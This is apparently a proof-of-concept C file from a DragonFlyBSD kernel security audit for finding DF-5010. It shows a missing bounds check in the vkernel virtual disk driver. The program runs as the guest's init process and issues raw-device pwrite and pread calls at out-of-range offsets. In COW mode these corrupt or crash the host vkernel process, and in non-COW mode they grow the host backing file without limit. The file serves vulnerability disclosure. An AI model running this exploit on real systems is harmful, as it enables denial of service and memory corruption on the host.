โฌข DragonFlyBSD Kernel Audit
DF-5010 / vkd_oob.c
โ† back to finding โ†“ download raw
/*
 * DF-5010 โ€” vkernel vdisk (vkd) missing bounds check โ†’ OOB read/write
 * in the vkernel host process (COW mode) + unbounded backing-file growth
 * (non-COW mode).
 *
 * Runs as PID 1 inside the vkernel guest (started with:
 *     ./vkernel64 -m 256M -r root.img -r plain.img -R cow.img \
 *                 -e init_path=/poc
 * ) which places:
 *   /dev/vkd1 = plain.img   (non-COW, 16 MB)  -> growth demo
 *   /dev/vkd2 = cow.img     (COW,     8 MB)   -> OOB bcopy demo
 *
 * Everything is done as raw-device pwrite/pread on the whole-disk nodes
 * so the request goes physio -> vkdstrategy -> vkd_doio with the
 * attacker-chosen file offset copied verbatim into bio_offset
 * (sys/kern/kern_physio.c:69).  vkd_doio never checks
 * bio_offset + b_bcount against sc->size (sys/dev/virtual/vkernel/disk/
 * vdisk.c:303-347).
 */

#include <sys/mount.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define COWSZ	(8 * 1024 * 1024)	/* cow.img size, bytes */

static void
logmark(const char *fmt, ...)
{
	char buf[128];
	va_list ap;
	int n;

	va_start(ap, fmt);
	n = vsnprintf(buf, sizeof(buf), fmt, ap);
	va_end(ap);
	if (n > 0)
		write(2, buf, n);	/* unbuffered: must survive the crash */
}

int
main(void)
{
	int fd, n;
	char buf[16];

	/*
	 * We are PID 1; rc(8) never ran, so devfs is not mounted yet.
	 * Mount it so /dev/vkd* nodes exist.
	 */
	mkdir("/dev", 0755);
	if (mount("devfs", "/dev", 0, NULL) < 0)
		logmark("[-] mount devfs failed errno=%d\n", errno);
	else
		logmark("[+] devfs mounted\n");

	/* -------- 1) non-COW disk: unbounded backing-file growth -------- */
	fd = open("/dev/vkd1", O_RDWR);
	if (fd < 0) {
		logmark("[-] open /dev/vkd1 failed errno=%d\n", errno);
	} else {
		logmark("[+] vkd1 (non-COW) open; pwrite 4 bytes @1TB\n", 0);
		n = pwrite(fd, "GROW", 4, 1LL << 40);
		logmark("[+] vkd1 pwrite @1TB returned %ld "
		    "(0 = quietly grew the HOST backing file)\n", (long)n);
		close(fd);
	}

	/* -------- 2) COW disk: OOB bcopy relative to sc->map_buf -------- */
	fd = open("/dev/vkd2", O_RDWR);
	if (fd < 0) {
		logmark("[-] open /dev/vkd2 failed errno=%d\n", errno);
		_exit(1);
	}
	logmark("[+] vkd2 (COW, map_buf armed) open\n", 0);

	/* sanity: in-bounds write at offset 0 */
	n = pwrite(fd, "INBD", 4, 0);
	logmark("[+] in-bounds write returned %ld\n", (long)n);

	/* near-end OOB write: exactly one page past the mapping end */
	logmark("[*] near-end OOB write @size+4096 ...\n", 0);
	n = pwrite(fd, "NEAR", 4, (long)COWSZ + 4096);
	logmark("[+] near-end OOB write returned %ld "
	    "(no fault => silent corruption of adjacent host mapping)\n",
	    (long)n);

	/* far OOB read: bcopy FROM map_buf + 1TB (wild source) */
	logmark("[*] far OOB READ @1TB now; vkernel host process should "
	    "fault...\n", 0);
	n = pread(fd, buf, 4, 1LL << 40);
	logmark("[+] far OOB read returned %ld (SURVIVED?!)\n", (long)n);

	/* far OOB write: bcopy TO map_buf + 1TB (wild destination) */
	logmark("[*] far OOB WRITE @1TB now; vkernel host process should "
	    "fault...\n", 0);
	n = pwrite(fd, "KILL", 4, 1LL << 40);
	logmark("[+] far OOB write returned %ld (SURVIVED?!)\n", (long)n);

	logmark("[-] vkernel survived all OOB ops โ€” check whether this "
	    "build really used -R (COW)\n", 0);
	_exit(0);
}